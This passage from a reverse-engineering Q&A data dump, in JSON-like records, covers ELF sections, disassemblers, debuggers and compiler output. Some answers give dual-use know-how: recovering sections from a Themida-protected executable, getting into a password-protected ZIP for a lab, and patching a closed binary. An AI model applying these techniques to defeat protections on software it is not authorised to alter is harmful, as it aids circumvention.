The .bss block started by symbol (also called Uninitialized data segment - bss is an old assembly instruction on an ancient IBM chip) section is supposed to contain global variables and static variables uninitialized or initialized to 0 or NULL. The .bss section is usually non existing until your program starts executing, this is why you can't retrieve its content statically. It is fairly important to note that this section helps reduce the program's size & makes it quicker to load.

\n" }, { "Id": "4238", "CreationDate": "2014-05-02T18:05:36.500", "Body": "

I have got a file which contains other files. I know where the subfiles start (header) but how do I know where the subfiles end ?

\n\n

Edit: Files are like: sound files (.wav) and images (.bmp, png, jpeg)

\n\n

Example:

\n\n
file1\nfile2\ndata\nfile3\n
\n\n

How do I know where file2 starts and file2 ends ?

\n", "Title": "Finding end of file", "Tags": "|binary-analysis|file-format|", "Answer": "

Check out hachoir-subfile. Example from their repo.

\n\n
$ hachoir-subfile chiens.PPS\n[+] Start search (828.5 KB)\n\n[+] Found file at 0: Microsoft Office document\n[+] Found file at 537 size=28449 (27.8 KB): JPEG picture: 433x300 pixels\n[+] Found file at 29011 size=34761 (33.9 KB): JPEG picture: 433x300 pixels\n[+] Found file at 63797 size=40326 (39.4 KB): JPEG picture: 433x300 pixels\n[+] Found file at 104148 size=30641 (29.9 KB): JPEG picture: 433x300 pixels\n[+] Found file at 134814 size=22782 (22.2 KB): JPEG picture: 384x325 pixels\n[+] Found file at 157621 size=24744 (24.2 KB): JPEG picture: 443x313 pixels\n[+] Found file at 182390 size=27241 (26.6 KB): JPEG picture: 443x290 pixels\n[+] Found file at 209656 size=27407 (26.8 KB): JPEG picture: 443x336 pixels\n[+] Found file at 237088 size=30088 (29.4 KB): JPEG picture: 388x336 pixels\n[+] Found file at 267201 size=30239 (29.5 KB): JPEG picture: 366x336 pixels\n[+] Found file at 297465 size=81634 (79.7 KB): JPEG picture: 630x472 pixels\n[+] Found file at 379124 size=36142 (35.3 KB): JPEG picture: 599x432 pixels\n[+] Found file at 415291 size=28801 (28.1 KB): JPEG picture: 443x303 pixels\n[+] Found file at 444117 size=28283 (27.6 KB): JPEG picture: 433x300 pixels\n[+] Found file at 472425 size=95913 (93.7 KB): PNG picture: 433x431x8\n[+] Found file at 568363 size=219252 (214.1 KB): PNG picture: 532x390x8\n[+] Found file at 811308 size=20644 (20.2 KB): Microsoft Windows Metafile (WMF) picture\n
\n\n

ExtractSubFile can be used if you need to carve out the files.

\n" }, { "Id": "4240", "CreationDate": "2014-05-02T18:47:25.400", "Body": "

OK, so basically I want to re-use the content from dumped .rodata data and bss section from ELF on Linux 32bit.

\n\n

The dump command:

\n\n
objdump -s -j .text elf_binary\nobjdump -s -j .rodata elf_binary\nobjdump -s -j .data elf_binary\n
\n\n

and for the .bss section, I am preparing to re-use a bunch of 00000000 which has the same size of the bss section.

\n\n

It works fine when I re-use it in nasm assembler in this way.

\n\n
.section rodata\nS_label1: db 0x01\n         db 0x02\n         ....  \n.section data\n        db 0x01\nS_label2:  db 0x02\n         ....\n.section bss\nS_label3: db 0x00\n         db 0x00\n         ....\n\nnasm -f elf test.s\n
\n\n

But basically my question is that:

\n\n

how to re-use these dumped sections in gas asssembler?

\n\n

Basically gas has a different assemble style, and apparently the data sections representations are different...

\n\n

I tried for several times and I still can not find the solution..

\n\n

Did I clearly demonstrate my question..? Could anyone give me some help?

\n\n

=======update==========

\n\n

So basically I want to re-use the rodata data and bss sections dumped from another binary.

\n\n

For example, here is the content of rodata section

\n\n
03000000 01000200 0a0a556e 736f7274\n65642061 72726179 2069733a 20200020\n25642000 0a0a536f 72746564 20617272\n61792069 733a2020 00\n
\n\n

and I can re-use it in this way:

\n\n
label1: \ndb 0x03\ndb 0x00\ndb 0x00\ndb 0x00\nlabel2: \ndb 0x01\ndb 0x00\ndb 0x02\ndb 0x00\n.....\n\nmov eax, label1      // of course I will guarantee that I use it correctly\n....\n
\n\n

Basically in nasm, I can easily re-use them in the above way, but my question is that , how can I re-use it in gas (or directly use gcc) in a similiar way?

\n\n

Is it possible?

\n", "Title": "How to directly re-use the dumped content of `.rodata`, `.data` and `.bss` section?", "Tags": "|disassembly|assembly|nasm|", "Answer": "

thanks @yaspr for his excellent answer.

\n\n

So in this post I was asking that

\n\n

How to re-use .rodata .data and .bss sections' contents?

\n\n

Here is my answer:

\n\n

you can quickly go this way once you dumped all the content of these sections, I use a hello world code to demostrate it:

\n\n
.section .text\n.globl  main\nmain:\npush   %ebp\nmov    %esp,%ebp\nand    $0xfffffff0,%esp\nsub    $0x20,%esp\nfldl   S_80484f0     // lift the conceret address into symbol\nfstpl  0x18(%esp)\nfldl   0x18(%esp)\nfstpl  0x4(%esp)\nmovl   $S_80484e0,(%esp) // lift the conceret address into symbol\ncall   printf\nleave\nret\nnop\nnop\nnop\n\n.section .rodata\n\nS_80484e0:\n.long 0x6c6c6568\n.long 0x6f77206f\n.long 0x20642c72\n.long 0x000a6625\n\nS_80484f0:\n.long 0x00000000\n.long 0x40240000\n
\n\n

To @yaspr about AT&T vs. Intel style:

\n\n

It is obviously that Intel style is much more clear that AT&T:)

\n\n

However, in the current project I am struggling on, I find it might not be very easy to use nasm inside a bunch of GNU tools(objdump objcopy ld and others...)

\n\n

IMHO, Even though objdump can disassemble in Intel style, I still encounter a bunch of problems/unclear issues, especially after comparing the disassemble results between objdump and IDAPro

\n" }, { "Id": "4250", "CreationDate": "2014-05-03T16:52:21.290", "Body": "

The code below is generated by gcc from a simple scanf program. \nMy question is that

\n\n
    \n
  1. Why these 3 addresses of variables are not consecutive when allocated?
    2. \n
  2. If not, when could I speculate the number of variables generated from stack by watching the\nclause like add esp, N which is often at the end of a routine? Is it related with calling convention?
    3. \n
  3. In this example, why compiler does not generated the add esp, 20h with it?
    4. \n
\n\n

C code

\n\n
#include <stdio.h>\nint main() {\n  int x;\n  printf (\"Enter X:\\n\");\n  scanf (\"%d\", &x);\n  printf (\"You entered %d...\\n\", x);\n  return 0;\n};\n
\n\n

asm

\n\n
main            proc near\nvar_20          = dword ptr -20h\nvar_1C          = dword ptr -1Ch\nvar_4           = dword ptr -4\n                push    ebp\n                mov     ebp, esp\n                and     esp, 0FFFFFFF0h\n                sub     esp, 20h\n                mov     [esp+20h+var_20], offset aEnterX ; \"Enter X:\"\n                call    _puts\n                mov     eax, offset aD  ; \"%d\"\n                lea     edx, [esp+20h+var_4]\n                mov     [esp+20h+var_1C], edx\n                mov     [esp+20h+var_20], eax\n                call    ___isoc99_scanf\n                mov     edx, [esp+20h+var_4]\n                mov     eax, off set aYouEnteredD___ ; \"You entered %d...\\n\"\n                mov     [esp+20h+var_1C], edx\n                mov     [esp+20h+var_20], eax\n                call    _printf\n                mov     eax, 0\n                leave\n                retn\nmain            endp\n
\n", "Title": "Why addresses of variable on stack are not consecutive?", "Tags": "|disassembly|assembly|x86|c|", "Answer": "

(I deal more with code generated by Visual C++, so some parts of this answer are just educated guesses.)

\n\n
\n

1.Why these 3 addresses of variables are not consecutive when allocated?

\n
\n\n

Variable alignment and even presence on the stack is up to the compiler and can differ based on the specific compiler version you use, the optimization options being used, and other factors.

\n\n

The 3 variables in your example are not all \"real\" variables. var_4 is the variable corresponding to your x, whereas var_1C and var_20 are simply results of GCC's approach to passing arguments to deeper function calls. When you write scanf(\"%d\", &x);, GCC knows that it will need to pass two 4-byte variables to that function on the stack, so it pre-emptively reserves enough room for them upon entering the function. This way, it doesn't need to push anything onto the stack (which might be problematic if there's no stack space left...), it just needs to mov the arguments into that preallocated space.

\n\n

That doesn't explain why there's a gap between the two allocations, though. GCC also prefers to align stack allocations to 16 bytes1, and this is where I am guessing it seems that the sizes needed for \"real local variables\" and \"space reserved for deeper function arguments\" are aligned independently before being summed into the final value of \"reserved stack space\".

\n\n

1You can control this alignment by using -mpreferred-stack-boundary=num.

\n\n
\n

2.If not, when could I speculate the number of variables generated from stack by watching the clause like add esp, N which is often at the end of a routine? Is it related with calling convention?

\n
\n\n

As you can see in this example, that instruction does not always get generated. Its counterpart, sub esp, N, is a much better indicator. From that you can make educated guesses about the amount/sizes of local variables.

\n\n

Calling convention is not related to a function's local variables, it controls the way the arguments are passed into the function and whose responsibility it is to clean them up afterwards.

\n\n
\n

3.In this example, why compiler does not generated the add esp, 20h with it?

\n
\n\n

The function in your example begins with push ebp; mov ebp, esp, which saves the original values of both ebp and esp. The leave instruction at the end does the reverse - it restores the saved values of esp and ebp, so there's no need to calculate anything.

\n\n

The saved ebp is also known as a frame pointer. It is possible to instruct the compiler not to generate it, in which case the original value of esp needs to be restored using that calculation you mentioned.

\n" }, { "Id": "4251", "CreationDate": "2014-05-03T17:23:49.993", "Body": "

Is it possible to reverse engineer ZIP file with password, and get the password or the data that is containing. I'm wondering because there is challenge in hacking lab which is to extract file from ZIP with passwd protection, and it's category is reverse engineering but when I look at the HEX dump I only see the file name.

\n", "Title": "Reverse engineering zip file", "Tags": "|disassembly|", "Answer": "

If this is a class competition, and it's filed under Reverse Engineering, the chances are the tutor has compiled this package themselves and has used techniques you've learnt in previous lessons to store the password somewhere within the executable.

\n\n

Look back on the techniques you've already learnt, and try those.

\n\n

Judging by the question I'll assume that you've not covered advanced Reverse Engineering techniques so the first place to start would be to view all the strings in the executable - provided no encryption is used, again I'm assuming not.

\n\n

If you're using Windows you can use Sys Internals Strings (http://technet.microsoft.com/en-gb/sysinternals/bb897439.aspx). IDA Pro also allows you to do this.

\n\n

Use a PE viewer to check whether it's a valid zip file created with WinZip, WinRar etc. It could have been created with a different program that contains a vulnerability to extract/crack the password.

\n\n

Failing that, and not knowing the level of your experience or class the only option left is to brute force.

\n" }, { "Id": "4257", "CreationDate": "2014-05-04T02:01:04.953", "Body": "

Visual C++ produces binaries with .code, .rdata, and .data sections (in that order). Themida merges all three into a nameless section, which is detrimental to analysis. In particular, I want to run the Extra Pass plugin for IDA on a dump from memory of a Themida'd executable (imports not recovered), but it needs the real bounds of the .code section or it will aggressively convert a lot of actual data into code.

\n\n

How could I go about recovering the base of the .rdata and .data sections?

\n", "Title": "Recovering original PE sections after Themida merges them", "Tags": "|windows|pe|", "Answer": "

Basically the best way to start doing this is to compile your own EXE (with the same compiler as the Themida protected file when possible) and try to merge the sections by yourself. I crafted an example for you (source code: http://codepad.org/RqNiH3Ly, download RAR (merged + directly compiled): https://mega.co.nz/#!aoAUALBJ!6riSM4VmT43Ywf_jxQAY73EsVXyjEAAhJ1rOSGaYdeI, just some executable I was working with at the moment, compiled with VS10).

\n\n

The base of the .data section can basically be found by searching for references to every address aligned to 0x1000 in the code (VS10 uses data pointers in order, so just scroll up to the base of the first section and look for a pointer). For example:

\n\n
\n

01251000 /$ 81EC 0C010000 SUB ESP,10C
\n 01251006 |. A1 00302501 MOV EAX,DWORD PTR DS:[1253000] ; pointer to .data
\n 0125100B |. 33C4 XOR EAX,ESP

\n
\n\n

In my case (the EXE also has relocations) the ImageBase was 0x1250000, so the RVA of the .data section would be 0x1253000 - 0x1250000 = 0x3000

\n\n

The .rdata section is just the RVA aligned up to 0x1000 from the actual end of the code (you can learn this from the original file). In this case:

\n\n
\n

012518E2 $- FF25 60202501 JMP DWORD PTR DS:[<&MSVCR100._except_han>
\n 012518E8 $- FF25 64202501 JMP DWORD PTR DS:[<&MSVCR100._invoke_wat>
\n 012518EE $- FF25 68202501 JMP DWORD PTR DS:[<&MSVCR100.controlfp> ; end
\n 012518F4 00 DB 00
\n 012518F5 00 DB 00

\n
\n\n

0x12518EE - 0x1250000 = 0x18EE, rounded up 0x2000, so the original RVA of the .rdata section is 0x2000.

\n\n

Similar calculations can be done for the .reloc section (search for the binary mask \"3? 3? 3? 3? 3?\" will get you pretty close on x86).

\n\n

Just learn to know the compiler structure and use it to recover something similar to the original (maybe Themida just appends the raw section data and changes all data pointers etc). Hope this helps a little :)

\n" }, { "Id": "4260", "CreationDate": "2014-05-04T16:57:40.147", "Body": "

I am trying the recursive traversal disassembler of the radare2 tool. But, I cannot use it properly.

\n\n

First, according to the radare2 manual, we can use recursive traversal disassembler by using the pdr:

\n\n
[0x00404890]> pd?\nUsage: pd[f|i|l] [len] @ [addr]\n  pda  : disassemble all possible opcodes (byte per byte)\n  pdj  : disassemble to json\n  pdb  : disassemble basic block\n  pdr  : recursive disassemble across the function graph\n  pdf  : disassemble function\n  pdi  : like 'pi', with offset and bytes\n  pdl  : show instruction sizes\n
\n\n

But I always get this error message:

\n\n
Cannot find function at 0x004028c0\n
\n\n

Here is a full session of radare2 on the ls command with, first, a linear sweep disassembly and, then, an attempt of recursive traversal disassembly:

\n\n
$> radare2 /bin/ls\nsyntax error: error in error handling\nsyntax error: error in error handling\n[0x00404890]> pd@main\n        ;-- main:\n        0x004028c0    4157         push r15\n        0x004028c2    4156         push r14\n        0x004028c4    4155         push r13\n        0x004028c6    4154         push r12\n        0x004028c8    55           push rbp\n        0x004028c9    4889f5       mov rbp, rsi\n        0x004028cc    53           push rbx\n        0x004028cd    89fb         mov ebx, edi\n        0x004028cf    4881ec88030. sub rsp, 0x388\n        ...\n        0x00402dff    8b0567772100 mov eax, [rip+0x217767] ; 0x0040a56c \n        0x00402e05    488b0d64772. mov rcx, [rip+0x217764] ; 0x0040a570 \n        0x00402e0c    83f801       cmp eax, 0x1\n        0x00402e0f    0f84de0d0000 jz 0x403bf3\n        0x00402e15    83f802       cmp eax, 0x2\n        0x00402e18    be0f384100   mov esi, 0x41380f\n        0x00402e1d    b80e384100   mov eax, str.vdir\n        0x00402e22    480f45f0     cmovnz rsi, rax\n        0x00402e26    488b3de3772. mov rdi, [rip+0x2177e3] ; 0x0040a610\n        0x00402e2d    48c70424000. mov qword [rsp], 0x0\n        0x00402e35    41b9bd384100 mov r9d, str.DavidMacKenzie\n        0x00402e3b    41b8cd384100 mov r8d, str.RichardM.Stallman\n[0x00404890]> pdr@main\nCannot find function at 0x004028c0\n
\n\n

In fact, I strongly suppose that I am missing a step here. It seems that we should first build the call graph of the program, but I didn't manage to find how to do it (I obviously have missed some documentation somewhere, sorry for that!).

\n\n

So, if somebody can give me a hint about it, I would be pleased !

\n", "Title": "Recursive traversal disassembling with Radare2?", "Tags": "|disassembly|radare2|", "Answer": "

In fact, you should first run a 'function' analysis of the program. To better understand this type a?:

\n\n
[0x00404890]> a?\nUsage: a[?adfFghoprsx]\n a8 [hexpairs]    ; analyze bytes\n aa               ; analyze all (fcns + bbs)\n ad               ; analyze data trampoline (wip)\n ad [from] [to]   ; analyze data pointers to (from-to)\n ae [expr]        ; analyze opcode eval expression (see ao)\n af[bcsl?+-*]     ; analyze Functions\n aF               ; same as above, but using graph.depth=1\n ag[?acgdlf]      ; output Graphviz code\n ah[?lba-]        ; analysis hints (force opcode size, ...)\n ao[e?] [len]     ; analyze Opcodes (or emulate it)\n ap               ; find and analyze function preludes\n ar[?ld-*]        ; manage refs/xrefs\n as [num]         ; analyze syscall using dbg.reg\n at[trd+-*?] [.]  ; analyze execution Traces\n ax[-cCd] [f] [t] ; manage code/call/data xrefs\nExamples:\n f ts @ `S*~text:0[3]`; f t @ section..text\n f ds @ `S*~data:0[3]`; f d @ section..data\n .ad t t+ts @ d:ds\n
\n\n

And, more precisely with an af?:

\n\n
[0x00404890]> af?\nUsage: af[?+-l*]\n af @ [addr]               ; Analyze functions (start at addr)\n af+ addr size name [type] [diff] ; Add function\n af- [addr]                ; Clean all function analysis data (or function at addr)\n afb 16                    ; set current function as thumb\n afbb fcnaddr addr size name [type] [diff] ; Add bb to function @ fcnaddr\n afl[*] [fcn name]         ; List functions (addr, size, bbs, name)\n afi [fcn name]            ; Show function(s) information (verbose afl)\n afr name [addr]           ; Rename name for function at address (change flag too)\n afs [addr] [fcnsign]      ; Get/set function signature at current address\n af[aAv][?] [arg]          ; Manipulate args, fastargs and variables in function\n afc @ [addr]              ; Calculate the Cyclomatic Complexity (starting at addr)\n af*                       ; Output radare commands\n
\n\n

Then, start a 'functions' analysis beginning at main:

\n\n
[0x00404890]> af@main\n
\n\n

Then, you can run a recursive traversal disassembly:

\n\n
[0x00404890]> pdr@main\n/ (fcn) fcn.004028c0 7460\n|           ;-- main:\n|           0x004028c0    4157         push r15\n|           0x004028c2    4156         push r14\n|           0x004028c4    4155         push r13\n|           0x004028c6    4154         push r12\n|           0x004028c8    55           push rbp\n|           0x004028c9    4889f5       mov rbp, rsi\n|           0x004028cc    53           push rbx\n|           0x004028cd    89fb         mov ebx, edi\n|           0x004028cf    4881ec88030. sub rsp, 0x388\n|           0x004028d6    488b3e       mov rdi, [rsi]\n|           0x004028d9    64488b04252. mov rax, [fs:0x28]\n|           0x004028e2    48898424780. mov [rsp+0x378], rax\n|           0x004028ea    31c0         xor eax, eax\n|           0x004028ec    e8afad0000   call 0x40d6a0 ; (fcn.0040d69f)\n|              fcn.0040d69f(unk, unk, unk, unk, unk, unk)\n|           0x004028f1    be19694100   mov esi, 0x416919\n|           0x004028f6    bf06000000   mov edi, 0x6\n|               0x004028fb    e810feffff   call sym.imp.setlocale\n\n... clip ...\n\n--\n|           0x00402980    83e801       sub eax, 0x1\n|           0x00402983    7405         jz fcn.004038a8\n-[true]-> 0x0040298a\n-[false]-> 0x00402985\n--\n
\n\n

You can also start radare2 with the -A option:

\n\n
\n

-A : run 'aaa' command before prompt or patch to analyze all referenced code

\n
\n\n

See also http://radare.today/posts/analysis-by-default/

\n" }, { "Id": "4261", "CreationDate": "2014-05-04T17:08:09.753", "Body": "

I am starting to look a bit more precisely at ARM assembler and I looked up some dumps from objdump. I saw a lot of instruction (add is not the only one) with an extra s at the end (adds, subs, ...).

\n\n

I looked a bit to the ARM documentation and it seems to mean something significant, but I can't figure out exactly what (the documentation I found about it seemed extremely obscure to me).

\n\n

Has somebody some insight on what is the meaning of this extra s added at the end of some ARM instructions ?

\n", "Title": "Difference between 'add' and 'adds' in ARM assembler?", "Tags": "|arm|gas|", "Answer": "

The extra s character added to the ARM instruction mean that the APSR (Application Processor Status Register) will be updated depending on the outcome of the instruction.

\n\n

The status register (APSR) contain four flags N, Z, C and V which means the following:

\n\n\n\n

More information about the condition flags in the ARM architecture can be found here.

\n" }, { "Id": "4271", "CreationDate": "2014-05-05T13:29:32.563", "Body": "

I'm \"middle-new\" in re and I have to debug a dll's function. How can I tell to IDA : start function XXX with parameters A, B and C ?\nIs there a solution or a plugin doing that ? I've tried doing that with rundll32.exe but unsucessfully.

\n\n

I have no experience on ollydbg this is why I ask for a IDA solution

\n\n

Thanks for helping !

\n", "Title": "DLL - Dynamic Analysis on IDA", "Tags": "|ida|dll|dynamic-analysis|", "Answer": "

IDA Pro has this mechanism called AppCall which basically allows you to set up the parameters of a function and call it directly.

\n\n
\n

Briefly, Appcall is a mechanism used to call functions inside the debugged program from the debugger or your script as if it were a built-in function. If you\u2019ve used GDB (call command), VS (Immediate window), or Borland C++ Builder then you\u2019re already familiar with such functionality.

\n
\n\n

Now , this might not be directly applicable to your situation, bit I guess creating a small wrapper program and using appcall on it could make things easier.

\n" }, { "Id": "4276", "CreationDate": "2014-05-05T20:20:21.223", "Body": "

I want to generate all xrefs from function just to check what api it uses in its call-tree. I know I can generate call tree graph by right clicking on function name and \"Xrefs from\", but I would like to have this functions listed just as text or something like that, so I could read it easily.

\n\n

Reading it from WinGraph is pretty hard, and I have trouble with this nasty colors..\nI mean, how is it readable? It is really hard to read white text on cyan background. And I dont see any way to configure it. My eyes just cant stand looking at it.

\n\n

So how can I get this xrefs in some friendly format? I am sure it is possible.. \nI am using IDA 6.1

\n\n

Thanks in advance

\n", "Title": "IDA Xrefs from - how to?", "Tags": "|ida|tools|ida-plugin|", "Answer": "

The MyNav plugin will show you calls from a function recursively, as shown below:\n\"enter

\n" }, { "Id": "4282", "CreationDate": "2014-05-07T07:27:45.913", "Body": "

Following break point fails because of bad memory address in some situation and cause break in execution:

\n\n
bp 0x12345678 \".printf \\\"PID: %d, unkVar: %d\\\\n\\\", ..., poi(poi(ecx+1c)+8)+c;g\"\n
\n\n

Is there any way to test memory address before dereferencing in Windbg?

\n", "Title": "Prevent Windbg Log Breakpoint Fail by Memory Check", "Tags": "|windbg|", "Answer": "

testing memory address can be done with with

\n\n
.if ( poi(@R32) operator CONST ) { commands }\n
\n\n

but i think the intent the question is not to break on memory access failure

\n\n

if that is the case wrap your conditional command with a .catch {} ; command to execute on exception this will let the execution flow without breaking

\n\n

a sample code

\n\n
#include <stdio.h>\n\nint main (void)\n{\n    __asm\n    {\n        xor eax , eax\n            increase:\n            inc eax\n            cmp eax , 0ffffffffh\n            jne increase\n    }\n    printf(\"we reached here\\n\");\n    __asm\n    {\nloopfever:\n        jmp loopfever\n    }\n    return 0;\n}\n
\n\n

disassembly of main

\n\n
0:001> uf 401000\nimage00400000+0x1000:\n00401000 55              push    ebp\n00401001 8bec            mov     ebp,esp\n00401003 33c0            xor     eax,eax\n\nimage00400000+0x1005:\n00401005 40              inc     eax\n00401006 83f8ff          cmp     eax,0FFFFFFFFh\n00401009 75fa            jne     image00400000+0x1005 (00401005)\n\nimage00400000+0x100b:\n0040100b 6840814000      push    offset image00400000+0x8140 (00408140)\n00401010 e809000000      call    image00400000+0x101e (0040101e)\n00401015 83c404          add     esp,4\n\nimage00400000+0x1018:\n00401018 ebfe            jmp     image00400000+0x1018 (00401018)\n
\n\n

a conditinal break point on 401006 dereferencing eax (will throw exception on almost 3 gb of address space ) wrapped in a

\n\n
.catch {} ; gc\n
\n\n

bp

\n\n
0:001> .bpcmds\nbp0 0x00401006  \" .catch { .printf \\\"%x\\n\\\" , poi( @eax ) ; gc };  ? @eax ;gc \";\n
\n\n

here is an output

\n\n
Memory access error at ') ; gc '\nEvaluate expression: 65529 = 0000fff9\nMemory access error at ') ; gc '\nEvaluate expression: 65530 = 0000fffa\nMemory access error at ') ; gc '\nEvaluate expression: 65531 = 0000fffb\nMemory access error at ') ; gc '\nEvaluate expression: 65532 = 0000fffc\nMemory access error at ') ; gc '\nEvaluate expression: 65533 = 0000fffd\nMemory access error at ') ; gc '\nEvaluate expression: 65534 = 0000fffe\nMemory access error at ') ; gc '\nEvaluate expression: 65535 = 0000ffff\n380039 44003800 440038 44004400 440044 4b004400 4b0044 3d004b00 3d004b 45003d00 45003d 3a004500 3a0045 5c003a00 5c003a 39005c00 39005c 38003900 380039 44003800 440038 44004400 \nEnvironment starts at 0x10000 compare  \n\n0:000> s -su 10000 10100\n00010000  \"98DDK=E:\\98DDK\"\n0001001e  \"=::=::\\\"\n0001002e  \"=C:=C:\\Documents and Settings\\Ad\"\n\n7c90120e cc              int     3\n0:001> ~0s\neax=000100c4 ebx=7ffdf000 ecx=00000001 edx=0040c5f0 esi=00000000 edi=009af6ee\neip=00401006 esp=0013ff78 ebp=0013ff78 iopl=0         nv up ei pl nz na po cy\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000303\nimage00400000+0x1006:\n00401006 83f8ff          cmp     eax,0FFFFFFFFh\n
\n" }, { "Id": "4285", "CreationDate": "2014-05-07T19:51:17.127", "Body": "

So basically I am using objdump to disassemble a binary from GNU Coreutils, on 32-bit Linux x86.

\n\n

In the disassembled code, I found one \"broken\" instruction like this:

\n\n
 804b4db:       ff 24 85 e4 09 05 08    jmp    *0x80509e4(,%eax,4)\n
\n\n

It seems like a disassemble error?

\n\n

And, by digging into the section info, I figure out that 0x80509e4 inside the .rodata section.

\n\n

So does it mean that 0x80509e4 is a jump table?

\n", "Title": "How to deal with this \"error\" instructions generated by objdump?", "Tags": "|disassembly|elf|objdump|", "Answer": "

This is just the ugly AT&T syntax. In Intel syntax it's:

\n\n
jmp dword ptr [eax*4+0x80509e4]\n
\n\n

And yes, it's most likely a jump table.

\n\n

You can switch objdump to Intel syntax by adding -M intel to the command line.

\n" }, { "Id": "4287", "CreationDate": "2014-05-08T00:59:14.813", "Body": "

I'm not new to StackExchange, but I'm quite new to reverse engineering, so please be patient with me! :P

\n\n

At present I'm dealing with an executable that I would like to modify a little bit, for personal use; the source code of the application is not available so I can only modify it or die trying. I'm using both IDA Pro 6.1 and OllyDBG 2.0 as tools.

\n\n

To be exact, I would just like to increase the amount of CFG_ENTRY that the application can read from 500 to 1000 in the method ReadCfgFile which, apparently, has a static memory region preallocated at compile-time:

\n\n
.text:008F2860 ReadCfgFile     proc near ; DATA XREF: .rdata:0137A1ECo\n.text:008F2860 var_20          = dword ptr -20h\n.text:008F2860 var_1C          = dword ptr -1Ch\n.text:008F2860 var_18          = dword ptr -18h\n.text:008F2860 var_C           = dword ptr -0Ch\n.text:008F2860 var_4           = dword ptr -4\n.text:008F2860 arg_0           = dword ptr  4\n.text:008F2860 arg_4           = byte ptr  8\n.text:008F2860\n.text:008F2860                 push    0FFFFFFFFh\n.text:008F2862                 mov     eax, large fs:0\n.text:008F2868                 push    offset sub_1288B18\n.text:008F286D                 push    eax\n.text:008F286E                 mov     large fs:0, esp\n.text:008F2875                 sub     esp, 14h\n.text:008F2878                 push    ebx\n.text:008F2879                 push    ebp\n.text:008F287A                 push    esi\n.text:008F287B                 push    edi\n.text:008F287C                 mov     edi, [esp+30h+arg_0]\n.text:008F2880                 mov     eax, [edi+10h]\n.text:008F2883                 cmp     eax, [edi+8]\n.text:008F2886                 mov     esi, ecx\n.text:008F2888                 jnb     loc_8F2930\n.text:008F288E                 mov     edi, edi\n.text:008F2890\n.text:008F2890 loc_8F2890:\n.text:008F2890                 mov     eax, [esi+79954h]\n.text:008F2896                 cmp     eax, 3E8h\n.text:008F289B                 jge     loc_8F29DF\n.text:008F28A1                 mov     edx, eax\n.text:008F28A3                 shl     edx, 5\n.text:008F28A6                 lea     ecx, [eax+1]\n.text:008F28A9                 sub     edx, eax\n.text:008F28AB                 lea     eax, [eax+edx*8]\n.text:008F28AE                 mov     [esi+79954h], ecx\n.text:008F28B4                 push    edi\n.text:008F28B5                 lea     ecx, [esi+eax*4+4]\n.text:008F28B9                 call    ReadEDURecord\n.text:008F28BE                 test    al, al\n.text:008F28C0                 jz      loc_8F2947\n.text:008F28C6                 mov     eax, [esi+79954h]\n.text:008F28CC                 mov     ecx, eax\n.text:008F28CE                 shl     ecx, 5\n.text:008F28D1                 sub     ecx, eax\n.text:008F28D3                 lea     edx, [eax+ecx*8]\n.text:008F28D6                 mov     ebp, [esi+edx*4-3E0h]\n.text:008F28DD                 lea     eax, [esp+30h+arg_0]\n.text:008F28E1                 lea     ebx, [esi+79958h]\n.text:008F28E7                 push    eax\n.text:008F28E8                 mov     ecx, ebx\n.text:008F28EA                 mov     [esp+34h+arg_0], ebp\n.text:008F28EE                 call    sub_437DF0\n.text:008F28F3                 test    eax, eax\n.text:008F28F5                 jz      short loc_8F2902\n.text:008F28F7                 cmp     [esp+30h+arg_4], 0\n.text:008F28FC                 jz      loc_8F2994\n.text:008F2902\n.text:008F2902 loc_8F2902:\n.text:008F2902                 mov     ecx, [esi+79954h]\n.text:008F2908                 sub     ecx, 1\n.text:008F290B                 lea     edx, [esp+30h+arg_0]\n.text:008F290F                 push    edx\n.text:008F2910                 lea     eax, [esp+34h+var_20]\n.text:008F2914                 mov     [esp+34h+arg_0], ecx\n.text:008F2918                 push    eax\n.text:008F2919                 mov     ecx, ebx\n.text:008F291B                 mov     [esp+38h+var_20], ebp\n.text:008F291F                 call    sub_437890\n.text:008F2924                 mov     ecx, [edi+10h]\n.text:008F2927                 cmp     ecx, [edi+8]\n.text:008F292A                 jb      loc_8F2890\n.text:008F2930\n.text:008F2930 loc_8F2930:\n.text:008F2930                 pop     edi\n.text:008F2931                 pop     esi\n.text:008F2932                 pop     ebp\n.text:008F2933                 mov     al, 1\n.text:008F2935                 pop     ebx\n.text:008F2936                 mov     ecx, [esp+20h+var_C]\n.text:008F293A                 mov     large fs:0, ecx\n.text:008F2941                 add     esp, 20h\n.text:008F2944                 retn    8\n.text:008F2947\n.text:008F2947 loc_8F2947:\n.text:008F2947                 push    0\n.text:008F2949                 call    sub_D386E0\n.text:008F294E                 add     esp, 4\n.text:008F2951                 mov     ecx, edi\n.text:008F2953                 mov     esi, eax\n.text:008F2955                 call    sub_D4D270\n.text:008F295A                 push    eax ; ArgList\n.text:008F295B                 push    offset aErrMsg_1 ; Error Message\n.text:008F2960                 call    sub_D386E0\n.text:008F2965                 add     esp, 8\n.text:008F2968                 call    sub_D388C0\n.text:008F296D                 lea     edx, [esp+30h+var_20]\n.text:008F2971                 push    edx\n.text:008F2972                 lea     ecx, [esp+34h+var_18]\n.text:008F2976                 mov     [esp+34h+var_20], eax\n.text:008F297A                 mov     [esp+34h+var_1C], 640h\n.text:008F2982                 call    sub_403D60\n.text:008F2987                 mov     [esp+30h+var_4], 0\n.text:008F298F                 jmp     loc_8F2A27\n.text:008F2994\n.text:008F2994 loc_8F2994:\n.text:008F2994                 push    0\n.text:008F2996                 call    sub_D386E0\n.text:008F299B                 add     esp, 4\n.text:008F299E                 mov     ecx, edi\n.text:008F29A0                 mov     esi, eax\n.text:008F29A2                 call    sub_D4D270\n.text:008F29A7                 push    eax\n.text:008F29A8                 push    ebp             ; ArgList\n.text:008F29A9                 push    offset aErrMsg_2 ; Error Message\n.text:008F29AE                 call    sub_D386E0\n.text:008F29B3                 add     esp, 0Ch\n.text:008F29B6                 call    sub_D388C0\n.text:008F29BB                 mov     [esp+30h+var_20], eax\n.text:008F29BF                 lea     eax, [esp+30h+var_20]\n.text:008F29C3                 push    eax\n.text:008F29C4                 lea     ecx, [esp+34h+var_18]\n.text:008F29C8                 mov     [esp+34h+var_1C], 640h\n.text:008F29D0                 call    sub_403D60\n.text:008F29D5                 mov     [esp+30h+var_4], 1\n.text:008F29DD                 jmp     short loc_8F2A27\n.text:008F29DF\n.text:008F29DF loc_8F29DF:\n.text:008F29DF                 push    0\n.text:008F29E1                 call    sub_D386E0\n.text:008F29E6                 add     esp, 4\n.text:008F29E9                 mov     ecx, edi\n.text:008F29EB                 mov     esi, eax\n.text:008F29ED                 call    